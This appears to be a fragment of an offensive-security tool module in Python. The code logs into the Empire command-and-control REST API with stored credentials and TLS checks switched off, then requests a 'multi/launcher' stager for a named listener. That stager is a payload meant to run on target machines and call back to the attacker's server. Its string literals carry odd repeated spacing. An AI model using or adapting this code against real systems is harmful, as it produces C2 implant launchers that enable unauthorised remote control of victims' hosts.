'LISTENER    Listener name to generate the launcher for'

def options(self, context, module_options):

    if (not ('LISTENER' in module_options)):
        context.log.error('LISTENER    option    is    required!')
        sys.exit(1)
    self.empire_launcher = None
    headers = {'Content-Type': 'application/json'}
    base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
    try:
        payload = {'username': context.conf.get('Empire', 'username'), 'password': context.conf.get('Empire', 'password')}
        r = requests.post((base_url + '/api/admin/login'), json=payload, headers=headers, verify=False)
        if (r.status_code == 200):
            token = r.json()['token']
        else:
            context.log.error("Error    authenticating    to    Empire's    RESTful    API    server!")
            sys.exit(1)
        payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
        r = requests.post((base_url + '/api/stagers?token={}'.format(token)), json=payload, headers=headers, verify=False)
        self.empire_launcher = r.json()['multi/launcher']['Output']
        context.log.success("Successfully    generated    launcher    for    listener    '{}'".format(module_options['LISTENER']))
    except ConnectionError as e:
        context.log.error("Unable    to    connect    to    Empire's    RESTful    API:    {}".format(e))
        sys.exit(1)
